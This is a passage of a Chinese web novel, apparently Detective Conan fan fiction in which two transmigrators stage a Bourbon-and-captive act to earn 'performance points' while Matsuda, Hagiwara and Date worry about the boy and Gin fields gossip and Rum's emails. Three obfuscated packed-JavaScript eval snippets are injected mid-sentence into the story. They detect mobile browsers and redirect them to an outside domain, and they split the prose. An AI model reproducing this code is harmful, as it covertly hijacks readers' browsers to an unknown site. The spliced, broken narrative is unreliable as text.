不过还不等萩原研二反应过来,就见少年眼中的情绪快速收敛,变成了恍然和平静。 他似乎在很短的时间内就想通了那辆保时捷出现在那里的原因,并且是在没有询问任何人、也没有收到任何消息的情况下。见到车辆毫不停留地开走,他像是确定了危险正在远离一样,不自觉地松了口气。 只不过接下来的时间里,他一直显得有些心不在焉。 能让少年产生这样一连串的情绪反应,罪魁祸首自然不可能是一辆车,肯定是车上的人。 萩原研二不可避免地想到在牧山晓所居住的公寓内,发现的无数监听设备。 尽管少年当时极力否认自己被人监视或限制自由,但萩原研二始终没有完全放弃过这个猜测。尤其当他发现自己对牧山晓的了解每深入一分,就会多发现一个能够证实他猜测的证据。 如果说黑色保时捷的主人是那个银色长发的男人的话,那他的嫌疑似乎的确更大一些。至于黑色皮夹克外套要怎么解释…… 萩原研二想不通。但眼下他对黑色保时捷的怀疑,的确暂时压过了黑色夹克外套。 “先不管那个和小牧山一起住的人究竟是谁。”萩原研二深思许久,做出结论,“但是有一点我们可以达成共识,就是小牧山现在的处境不太安全,对吧?” 伊达航回想起在那间公寓门口见到牧山晓时,少年有些异样的状态,忍不住点了点头:“嗯,我也有这样的怀疑。他的状态看起来不太正常,现在回想起来,他好像对那个长头发的男人很是忌惮。” 无数的证据指向一个他们都不愿意相信的事实。至少从现有的线索来看,被害妄想症这种说法根本无法解释这些异常。 至于牧山晓包庇那个男人的原因也不难猜。或许他有什么更深层的顾虑……更糟糕一点的猜想,有可能他对控制他的男人产生了类似斯德哥尔摩综合征的依赖情绪。 两人没能讨论出什么结果。 萩原研二苦恼地灌了一口啤酒,转头一看,就见幼驯染正自顾自地吃得很香。 他看了自己眼面前空空如也的小碟子,忍不住问松田阵平:“小阵平,那两个人,你更怀疑谁?” 松田阵平放下手中的筷子,打了个饱嗝,然后才慢悠悠地开口:“不管是谁,这件事一定跟那个金发混蛋脱不了关系,对吧?” 伊达航点头:“这倒是。” 萩原研二一顿,脸上表情变幻。凭他对自家幼驯染的了解,他已经猜到对方要说什么了。 “要我说,不如直接把那家伙抓进审讯室算了。我们三个联合起来审问,还担心有问不出的情报吗?” “……” “???” 萩原研二无奈扶额。他就知道…… 伊达航先是愣了一下。尽管已经认识很多年了,偶尔他还是会被松田阵平暴躁的行事作风所震撼。 这位有着多年从业经验并且已经晋升为警部补的靠谱刑警思考了一下,沉稳地反驳了这个荒谬的提议:“不太合适,我们没有确切的证据证明他有犯罪嫌疑,直接抓人的话不符合程序。” “那就把他抓到小巷子里套上麻袋揍一顿!” “……就算不顾及同期情谊和道德的问题,是不是也该从国家层面考虑一下,贸然接触他的话会不会打扰他的潜伏任务?” “那就假装成山口组,打晕他把他拖到一个更加隐蔽的地方,然后揍一顿!” “……你就是单纯的想揍他吧?” “没错。” “……”伊达航没话了。 可以,看得出你们私仇很深了。 松田阵平一脸的理所当然,丝毫不觉得自己发出了怎样的暴言:“谁让那家伙装不认识我们。当初毕业时自顾自地消失,连声告别都不说也就算了,这么多年里还一点消息都没有。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15675779|170691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “当时在警视厅,他明明有跟班长你独处的机会的吧?不还是一句解释都没有。” 伊达航艰难开口:“那是因为……他肯定有他的苦衷。” “我不管,既然他非要装不认识我们,那我们就当作不认识他。既然牧山那小子现在陷入困境,我们作为警察,遇见了肯定要帮一把,这很合理吧?” “如果昨天晚上那个金毛混蛋也在那间公寓里,就说明现在这两个‘嫌疑人’肯定都知道班长你跟牧山认识了。我们假装对牧山的处境视而不见的话,说不定更显得可疑。” “还有最重要的一点……”松田阵平目光清明,正色道,“现在人赃并获,如果不抓住机会的话,说不定等你们讨论出结果之后,嫌疑人就跑了!” “所以我建议,我们要主动出击!” …… 天光微亮时,“嘀”的一声,公寓门的密码锁被人从外面打开了。 一夜没睡的牧山晓连忙跑到玄关,看到进门的金发男人后立即问道:“你怎么样?” 金发男人脱下外套,苦着脸说:“我要散架了。” 牧山晓皱眉:“受伤了吗,伤口严重吗?” 金发男人有气无力地摆摆手:“倒是没受伤,只是跟琴酒打了一晚上的狙,我胳膊快废了。” 牧山晓:“……你为什么要跟他打狙?” “他硬拉着我打的,说是让我有时间就多练几项技能,加大训练强度,不要把心思放在乱七八糟的地方。” “……你为什么不拒绝?” “那可是狙啊,真狙!每个真男人的梦!一开始我真拒绝不了……后来等后悔的时候已经来不及了。” “……” 见亲友实在难受地厉害,牧山晓只能让人坐在沙发上,然后翻出家里的医药箱帮亲友处理右臂和肩膀上的淤青。 哪成想这个精力充沛的家伙,刚坐下没一会儿就一扫进门时的疲惫,相对完好的那只手在沙发上左摸摸右摸摸。 没一会儿,他就摸出被牧山晓随手丢在沙发上的那个“电子镣铐”把玩起来。 他嘴里还不闲着:“幸好琴酒没有近距离观察的打算,不然这玩意还真容易露馅。” 他手中这个看起来颇为逼真的电子脚铐,其实是塑料壳子制成的cos道具,只是款式比较逼真。亲友为了让它显得更真实一点,拿出了身为coser的专业素养将这玩意好好改造了一番,才有了琴酒看到的效果。 不过道具终归是道具,这东西只是看起来像真的,稍微凑近一点仔细观察就容易露馅。 好在琴酒从一进门就离牧山晓远远的,压根一丁点靠近的意思都没有。 “对了。”忙了一晚上的亲友终于想起一件事,“这次演绎值涨了多少?” “12%,也还行,算是没有白忙一场。” 12%,跟之前的几次增长相比确实多了很多,但对于总值来说还差得很远。 牧山晓仍觉得不太满意。照这么下去,他们要演多少场像今天这样的戏,才能攒够100%? 但不满意也没用,又不能不做任务。 给亲友涂好药之后,牧山晓拍拍他的背:“好了,你一夜没睡,去休息一会儿吧。不过不能睡太久,我们下午还有事呢。” “好哦。”亲友乖巧地套上衣服,先是爽快答应,然后才问了句,“我们下午要干嘛?” “搬家!” 32.烫男人是金发黑皮(三十二) 换新的安全屋,是牧山晓和亲友早就有的打算。 现在他们所住的安全屋是安室透本尊布置的备用安全屋,无论从位置还是公寓内的“设备存储”来讲,都让人挑不出毛病。唯一的问题是,它的存在已经不再隐蔽。 对于组织的代号成员来说,彼此之间相互提防才是最常见的相处方式。当亲友将安全屋的位置暴露给琴酒之后,在事后第一时间抛弃这个安全屋,才是比较符合波本人设的做法。 除此以外,牧山晓也不想再发生像昨晚那样,正在演戏的时候却突然被警校组找上门这类的抓马事件了。 一想到昨晚的经历,残余的尴尬情绪仍在牧山晓的脑子里挥之不去。 他当时说完那些尬尬的台词之后,羞愤欲死几乎想要扭头撞墙。偏偏亲友那个傻狗演得如痴如醉,仿佛整个人完全沉浸在了角色之中…… coser的敬业精神不是让你这么用的喂! 不过也多亏了亲友的“敬业精神”,才让琴酒没有对他们产生怀疑,甚至帮他们拿下了12%的演绎值。牧山晓不得不承认,这其中的功劳亲友要占多半。 当时他在亲友的示意下躺在沙发上装昏迷,又尬又想笑地听着亲友跟琴酒飙戏,突然响起的门铃声吓了他一大跳,险些没绷住直接当着琴酒的面睁开眼睛。 没想到没过多久,去看完门铃监视器的亲友就尖叫着回来: 【傻狗波波:啊啊啊啊晓宝!是伊达航!】 【牧山:……谁?】 【傻狗波波:是伊达航啊卧槽!怎么办怎么办,琴酒还在这里!】 【牧山:他为什么会出现在这里啊?!】 【牧山:不对,不能让他看见你,也不能让他撞上琴酒……你说我现在原地‘诈尸’的话,会被判定为崩人设吗?】 牧山晓无法确认伊达航的来意,但据他所知目前伊达航只可能知道他住在这里。所以有很大的可能性,伊达航就是来找他的。 问题是他来得不是时候啊! 【傻狗波波:不管了,交给琴酒,我先带你进去躲躲!】 【牧山……】一时不知道该感动亲友对自己的“不离不弃”,还是该心疼被第一时间推出去的琴酒。 总之就是浑身僵硬地被亲友抱走了。 虽说亲友在紧急关头毫不留情地抛下了琴酒,让对方独自一人面对警察的询问,但他还是良心未泯地一直在卧室里偷听外面两人的对话。 听到伊达航准备进来时,亲友突然后知后觉地想起了客厅的地板上那个“新鲜出炉”的弹洞。 【傻狗波波:糟糟糟,万一伊达航进来以后发现不对,不会当场把琴酒逮捕吧?!】 【牧山:……我觉得还是我出去吧。】 毕竟现在能把伊达航打发走的人,好像也只有他了。 于是他用尽了毕生的演技,在不久前刚演完昏迷过后,又被迫演出堪堪苏醒的状态。 为了不被琴酒发现端倪,他只敢离对方远远的,一步都不敢靠近。 好在伊达航被顺利打发走了,琴酒也似乎没有产生怀疑。 面对琴酒兴味的目光,牧山晓一时有点不知道该做出怎样的反应。按照人设,他对琴酒应该是充满仇恨的,但是现在他又出面帮忙支走了警察……虽然这一点可以解释为他是被波本胁迫的,但是他为什么跟警察认识,又为什么明明认识警察,却不向对方求救,这些问题又该怎么解释? 如此复杂的人物心理变化差点给牧山晓的cpu干烧了……就算他能理清楚,也根本演不出来啊! 关键时刻,亲友从卧室走出来为这场演绎进行了收尾。 既然解释不清楚,就干脆什么都不解释!亲友理直气壮地绕过那些可疑的问题,装模作样地对牧山晓威胁了几句之后,就邀请琴酒“换个地方谈谈”。 等这两人一前一后离开,牧山晓才总算松了口气。 终于结束了! 好在这场令牧山晓倍感折磨的演绎,换来了足足12%的演绎值。 “说起来,我们现在的演绎值攒到多少了?” 新的安全屋中,正在收拾那成箱的游戏卡带的亲友忽然问道。 牧山晓看了眼面板,答道:“16.25%。” 不算多,尤其在他们忙活完这一通后,这个数字显得尤其可怜。 不过原本空空如也的进度条好歹被填上了一点。 牧山晓手上不停,一边将他们的生活用品一一从纸箱中拿出,一边分析着:“看来双人合作演绎的效率果然更高,我觉得接下来可以尝试一下冲突更强烈的剧情。” 虽然演绎很尴尬,但事关回家,亲友又是个莽撞的性子,如果把编写剧情的工作交给他,牧山晓真怕这家伙直接拿着机关枪带他闯进琴酒的安全屋到处瞎突突一通。 ……这么做倒是肯定能给琴酒留下足够深刻的印象,只是事后他和亲友恐怕也会遭到琴酒的极限追杀。 ……说实话琴酒能忍到现在,牧山晓都忍不住对他产生敬佩之情。 总之在这种情况下,牧山晓只能硬着头皮继续编写剩下的剧情。 “我跟伊达航他们认识的事,算是比较倒霉地意外暴露了。琴酒那边肯定会怀疑你为什么允许我跟警察自由接触……这件事虽然不好解释,不过也不是不能利用。” “为了防止琴酒盯上伊达航他们,现在必须要尽快切割我跟他们的关系。” 牧山晓急着搬家除了有本来就计划好的原因外,也跟这个有很大关系。 “除此以外,我的人设身份也不能白做。在琴酒面前,我一开始就是以……‘金丝雀’的身份出场的,如果我不跳脱出这个身份的话,他是不会把我放在眼里的。” “既然‘我’对琴酒有着深刻的仇恨,现在在亲身接触过对方后,这股仇恨的心情被突然激发出来,也很合理对吧?” 牧山晓思考得认真,连手中的动作都不自觉地停了下来。 过了好一会儿,他的声音才再次响起:“我觉得,是时候安排我跟你‘决裂’了——” “——或者不如说是‘反抗’更为贴切,一场由‘我’单方面进行的、充满愤怒的、竭尽全力的反抗。” 不远处,金发男人不知道什么时候也停下了动作,正歪着头,眼睛一眨不眨地盯着棕发少年。 见牧山晓看过来,金发男人的嘴角立刻勾起一抹笑容:“好啊,都听晓宝你的。反正我懒得动脑子,你安排什么就演什么!” 男人柔顺的金色碎发随着重力垂落,一双下垂的狗狗眼中满是澄澈的笑意。 一副没脑子但听话的乖乖小狗的模样。 还是金毛。 牧山晓看着男人的脸有些出神。虽然他们穿越的时间不久,但不知道是不是看亲友现在的这副样子习惯了,他恍惚觉得,记忆里亲友原本的长相隐约变得有些模糊。 ……亲友原本的头发是什么颜色来着? 漂浮的思绪被一通突然响起的电话铃声打断,牧山晓很快回神,拿起自己的手机。 来电人是萩原研二。 牧山晓没意识到,自己在看到这个名字的时候,眉头立刻不自觉地皱起。 他最开始不介意接近警校组,不仅是出于对这些角色的天然好感,更重要的是因为亲友“黑透”的身份致使他们对红方的情报缺失,他想着或许可以借机弥补这份缺失。 不过现在情况不同了,再接触下去,很可能会给警校组的三个人引来危险。 既然他们已经决定将演绎的主场定在黑方,或许就不该跟红方的人过多接触。更何况警校组的这三个人,在漫画中都是注定牺牲的命运。牧山晓不希 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15686936|170691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望他们回归原本的结局。 所以他只是静静地,看着自己闪烁不停的手机屏幕,一动不动。 “不接吗?”身旁的亲友轻声问了一句。 “不了吧。”牧山晓犹豫地开口,沉默片刻后,语气变得坚定,“还是不要联系了吧,为了他们的安全。” …… 牧山晓不接电话。 萩原研二再次按下拨号键,一脸担忧地揽住走在身侧的幼驯染。 “小阵平,你说他怎么不接电话呢,该不会是出现意外了吧?” 一旁的松田阵平目不斜视,表情看不出波动,比起焦急的幼驯染显得平静很多:“那小鬼能出什么事,昨天班长不是才刚见过他吗?说不定只是他不想搭理你呢。” 他表面看起来漫不经心,可微蹙的眉头却泄露出一丝他的担忧。 “不会吧,我应该没做什么惹怒他的事啊?”看着再次因为无人接听而挂断的电话,萩原研二苦恼地抓了抓头发。 过了没一会儿,萩原研二突然收到一条信息,发信人是牧山晓。 萩原研二忍不住原地驻足,认真地看完信息后,苦着脸对松田阵平说:“完蛋,好像真的被讨厌了。” 松田阵平的脸顿时垮了下来,他一把夺过萩原研二的手机,看完之后无语地开口:“他只是说最近有事不方便联系吧,好像也没说讨厌你什么的。” 萩原研二苦笑着摇头:“你不懂,在普遍的社交礼仪中,这种说辞就是‘不想跟对方继续接触’的意思,只是比较委婉的说法罢了。” “……虽然那小鬼的确经常说谎,但我直觉他如果真的讨厌一个人的话不会这么客气。”松田阵平说,“而且他也不是普通人,你的那套‘社交礼仪’,感觉他未必懂。” 萩原研二一颗破碎的心被他的几句话安抚住了:“你说的有道理,小阵平的直觉一向很准,我这次相信你。” 此时的他们刚巧走到一个便利店门口。 萩原研二看了眼松田阵平手中的袋子,叹口气说:“既然他都这么说了,那我们现在去拜访他的话,好像就不太合适了。好可惜啊,我特意排队买的抹茶大福,还想着能看见他欢天喜地接过去,然后一口一个‘萩原好哥哥’地感谢我呢。” 发现牧山晓喜欢吃抹茶大福是上次聚餐的时候,店家刚巧送了抹茶大福的甜品。由于三个成年男人都不太爱吃甜食,所以四个大福都交给了在场年纪最小的牧山晓。 当时那孩子可是高高兴兴地接收了呢。 松田阵平不禁吐槽:“你想象力也太丰富了,那小鬼绝对做不出这种事。” “这也是小阵平的直觉吗?” “是明眼人都能看得出的事实,他绝对不会叫你‘萩原哥哥’的!” 萩原研二却并不因为他的话而气馁,嘴里一边说着早晚有一天会让小牧山心甘情愿地叫哥哥之类的话,一边在松田阵平的提议下,走进便利店买晚餐。 本来是打算去拜访牧山晓的,现在计划被打断,两个懒得做饭的大男人决定干脆去便利店凑合一顿算了——反正这是他们常干的事。 伴随着便利店门口“欢迎光临”的电子语音提示,一直在聊天的两人与一个男人擦肩而过。 那个男人穿着一件褐色的风衣,头戴棒球帽,长相看起来平平无奇。他一边打电话一边走出便利店,路过萩原研二和松田阵平时,视线朝两人身上瞥了一眼。 不过他很快就收回了视线。 就在此时,男人的电话中传出一道模糊的声音:“你准备什么时候收网?” 已经走出门的男人忍不住回头,透过玻璃窗再次看向便利店内那两个几乎要贴在一起的身影。 “快了。”他回答,“就这两天。” “很好。”电话中的声音说,“那就祝你,任务顺利。” 33.烫男人是金发黑皮(三十三) 伏特加最近有些不安。 他发现琴酒大哥已经有两天没有出任务了。既不是因为受伤,似乎也不是因为有更重要的事。 虽然琴酒大哥仍然每天白天都不在安全屋,只有晚上回来,但每次回来时身上都散发着暴躁的气息。 而且,与以往忙碌的夜生活不同,现在的晚上,琴酒大哥就只是待在安全屋里做些保养武器、查阅文件之类的杂活——在以往两人快节奏的任务生活中,这些小事对于大哥来说,通常只是用来放松的方式而已。 难道大哥在为组织兢兢业业了这么多年之后,终于感到了疲倦? 还是说他有什么烦心事? 通过两天的观察,伏特加发现大哥经常对着手中的狙击枪出神,要么就是突然想起来什么似的,一脸烦躁地打开笔记本电脑查找资料。伏特加曾在琴酒的默许下偷偷看过一眼,发现是组织以前的任务档案,有些任务的时间甚至可以追溯到十几年前。 大哥到底在查什么呢? 看着大哥烦躁的表情,伏特加不敢多问。 大哥说今天也没有任务。伏特加打算回房间拆快递,是他买的偶像周边,如果到了晚上大哥心情好一点的话,说不定不介意让他在客厅看综艺节目。 对于伏特加来说,这就是一个完美假期该有的样子。 没想到他刚刚走到房间门口,就看到沙发上的琴酒大哥忽然站起来,一边看着手机屏幕,一边朝门口走去。 伏特加连忙问:“大哥,有任务吗?” 琴酒瞥了一眼他手中的快递盒,没什么情绪地说:“没有,我去一趟训练场,你不用跟着。” 又去训练场啊。 看来就算不做任务,琴酒大哥也丝毫不肯懈怠呢! “好。”伏特加应道,为了不让自己显得太过开心,他还刻意压低了声音。 等伏特加再从卧室出来时,挂在门口的黑色大衣已经不见了。 他哼着小曲从冰箱里拿出冰啤酒,打开了电视。 刚选好想看的节目,却突然接到了基尔的电话。 基尔是组织里的一个女性代号成员,同属于琴酒行动小组的她经常跟伏特加一起出任务,虽然两人的关系一直很一般,但也算是熟人。 伏特加跟基尔的关系是从最近开始突飞猛进发展起来的,而主要的契机,源自一次基尔莫名其妙的询问:“琴酒和波本的那件事,你听说了吗?” 一句话像是打开了潘多拉魔盒,揭开了伏特加内心深处一块隐秘而邪恶的地方,也像是打开了他和基尔的“友谊之匣”。 从那以后,两人经常凑到一起,悄悄哔哔组织内的八卦。不得不说,表面身份是知名电视台女主播的基尔,在收集小道消息方面可谓是天赋异禀。伏特加简直对她相见恨晚。 “喂?”伏特加连忙调低电视音量,有些期待地接起电话。 “你在做任务吗?”电话那头传来熟悉的女声。 伏特加立即回答:“没有,我现在一个人在安全屋。” 这看似是正常的问询,其实是两人提前约好的暗号。如果对方给出了肯定的回答,就说明正在任务,没时间聊八卦。如果对方给出否定回答但没有多说什么,就说明虽然不在做任务,但所处环境也不适合聊八卦并 伏特加这次的回答就相当于明着说:“又有新的八卦了吗?快请讲!” 于是基尔直奔主题:“有关G和B关系的传言又出现最新版本了,你听说了吗?” 伏特加立即来了精神:“你指的是说大……G和B为了一个小男孩争风吃醋的那个版本吗?” “不是,那个早就过时了!最新的版本是说,这两个人在针锋相对的过程中,双双对身为情敌的对方投入了太多的注意力,因此控制不住地互相吸引,已经由恨生情了!” “什么?!” 好刺激!这个版本真的好刺激!这是什么《说好做情敌,你却想追我》的精彩剧情! 伏特加毫不犹豫:“请细说!” 基尔在这方面对伏特加一向大方:“听说最近这两位经常一起泡在基地的训练场,我听训练场的工作人员说,好像是G每天强行拉着B去的,而且不练到天黑根本不放人走!” “我还想问问你呢,这件事是真的吗?还是那个人在胡说?” 八卦的魅力就在于,所有人都知道它未必全部真实,但没有人能控制住想要追根究底的欲望。在真真假假、离谱但精彩刺激的谣言中,抽丝剥茧地寻找出一缕微不可见的真相,这是八卦传播者最大的乐趣。 伏特加知道最近琴酒经常往基地的训练场跑,几乎每天都去,但他不知道波本也去了啊! 他不禁屏住呼吸,心跳都不由得加快了几分。 他跟基尔八卦归八卦,但以他对琴酒大哥的了解,他以前从来没有把那些八卦当真过。不过现在…… 他发誓,对大哥坚定崇拜的心始终如一,大哥与波本之间的爱恨情仇,绝对不会影响他对大哥的看法! 又跟基尔深入聊了一会儿,伏特加越聊越激动。他几乎产生了一种危险的窒息感,他兴奋地想,或许这种感觉,就是八卦所带来的极致体验。 此时此刻的他坚信:绝对,没有人,知道的八卦,比他这个更刺激! 直到伏特加无意间转了下头,视线意外扫过门口时,余光中突然出现的一抹黑漆漆的人影吓得他几乎失声尖叫。 “?!!!” 伏特加呆愣地看着沉默地伫立在门口,面无表情盯着他的琴酒,耳边传来基尔的询问:“你怎么了?有情况?” 伏特加:“……”是有情况,逃跑时被敌方刚巧撞见并被枪指着脑袋的恐惧,也远远比不上现在。 他怕的不是死,现在他只求大哥能给他一个痛快! ……不过万一大哥没听到多少呢? 抱着侥幸的心理,伏特加声音颤抖地问:“大……大哥,你怎么……怎么还没走啊?” 手机里基尔的声音瞬间消失。 伏特加几乎能真切地感受到从手机另一端传来的恐惧。 也可能那只是他的恐惧传染给了对面。他已经无暇分清了。 琴酒死死地盯着他,一双墨绿色的眼睛冷漠无情,像是在看一具尸体。 伏特加不甘心就此被判死刑,挣扎着再次开口:“大哥,您……您听到了多少?” “从你们说‘由恨生情’开始。”琴酒阴恻恻地出声,声音冰冷,脸上带着戏谑而残忍的微笑。 伏特加眼里的光没了,整个人像是被抽走了生气,直愣愣地坐在沙发上,没有一丁点反应。 琴酒大步走上前,一把抽走伏特加手中的手机,发现通话早已被对面挂断。不过没关系,他翻出了通话记录,看清了来电人的名字后,他将手机原模原样地塞回伏特加僵硬的手掌中。 “改天去换个好点的手机吧。”漏音太严重了,站在门口也能将对面的声音听个大概。 琴酒语气冷如寒霜:“如果让我发现你在任务中出现这种失误,我会毫不犹豫地给你一枪。” 说完,他拿起一旁茶几上被他落下的烟盒,随手塞进大衣口袋,然后转身离开。 瘫软在沙发上的伏特加如何因为自己的劫后余生而痛哭流涕,暂且不提,走出安全屋的琴酒则是愁容满面头疼不已。 组织里那些乱七八糟的流言蜚语,他不是一点都没听到过。他虽然除了任务和老鼠不关心其他,但他不是闭目塞听——更何况就算他不想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15692522|170691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听,也挡不住贝尔摩德三天两头打电话过来看他的笑话。 他总不能给贝尔摩德也来上一枪。 此时的他顾不上这些越传越离谱的流言,更顾不上深究这些流言的源头。因为他正面对一个更棘手的问题。 波本是个聪明人,也是个众人皆知的利己主义者。就连跟他关系相当不错的贝尔摩德提起他的时候,都会说上一句“我看不透他”的评价。一直以来,琴酒对波本称不上信任,也正因为此。 看不透,猜不准,为了自己的利益可以摒弃其他的一切。对于这种人来说,“忠诚”只是投诚示好的工具,“背叛”也只是逼不得已时的一个选择而已。 琴酒清楚,如果真的有一天,组织的利益和波本的个人利益产生巨大的冲突,这家伙绝对会毫不犹豫地背叛组织。 但是,一个诡谲难测、危险残忍、冷静敏锐的波本背叛组织,和一个诡谲难测、危险残忍,但疯狂到失去理智的波本背叛组织,对组织的威胁性完全不可相提并论。 之前想好好教训波本一顿,提点他不可“玩物丧志”的想法,在经过那晚过后,已经完全消失了。 照现在的情形来看,用武力的手段“教训”波本估计不会起到任何作用,但如果对波本的那个小情人下手……琴酒又有些担心会一个不小心引爆波本这颗定时炸弹。 真是难办啊。 一想到一会儿就要在训练场上见到那只疯狗,琴酒就又是一阵头疼,忍不住在自己的保时捷里点了一根烟。 没想到烟刚点上,他忽然收到一封意料之外的邮件。 发件人是朗姆,一个琴酒万万没想到的人。 【你之前说想要把波本调过去,跟你做一段时间的搭档?】 银色长发的男人有些诧异地挑眉。那是很多天之前的事了,当时朗姆不是答应了吗? 他的任务都快做完了,朗姆怎么这时候又提起这件事? 琴酒思索片刻后,编辑回复邮件:【对,我已经跟他】 刚打好这几个字,他忽地停住。看着发件人那里朗姆的名字,他恍然大悟般地,突然想明白一个问题。 明明波本是朗姆的直系下属,为什么这人惹出的麻烦要他来操心? 直接打包送还给朗姆不就好了吗?! 就算波本真的把组织给炸了,他也大可以把锅推给朗姆! 想到这里,琴酒连忙将打好的字删掉,重新编辑:【我的任务已经完成,现在不需要了。】 过了一会儿,朗姆回复到:【明白了。是我的疏忽,你可以提其他需求作为补偿。】 看到这封邮件,琴酒当即嗤笑一声。 切,装模作样,不过是笼络人心的手段罢了。 不过他为什么突然说要补偿自己? 对了,以朗姆手眼通天的情报网,说不定对波本现在的情况已经有所了解。所以在为波本造成的麻烦向他表示歉意。 既然如此,还跟他客气什么?! 【可以。另外,你最好仔细盯着波本。】在调教好之前别再放他出来害人了! 又过了好一会儿,朗姆才回复:【知道了。】 这几封简短的邮件,在琴酒关掉这个秘密邮箱之后,全部被自动删除。 收起手机,琴酒狠狠吸了口烟,顿时觉得心情舒畅。 然而下一秒,破坏他好心情的人就来了。波本突然打来了电话。 但此时的琴酒心情极好,对波本也难得充满了耐心。他想到今天跟波本约好在训练场见面的事,本打算好心地接通电话,通知对方自己不打算赴约了。结果没想到电话刚一接通,里面就传来波本满是怒火的声音: “琴酒!我的宝贝不见了!你把他藏哪儿了?!”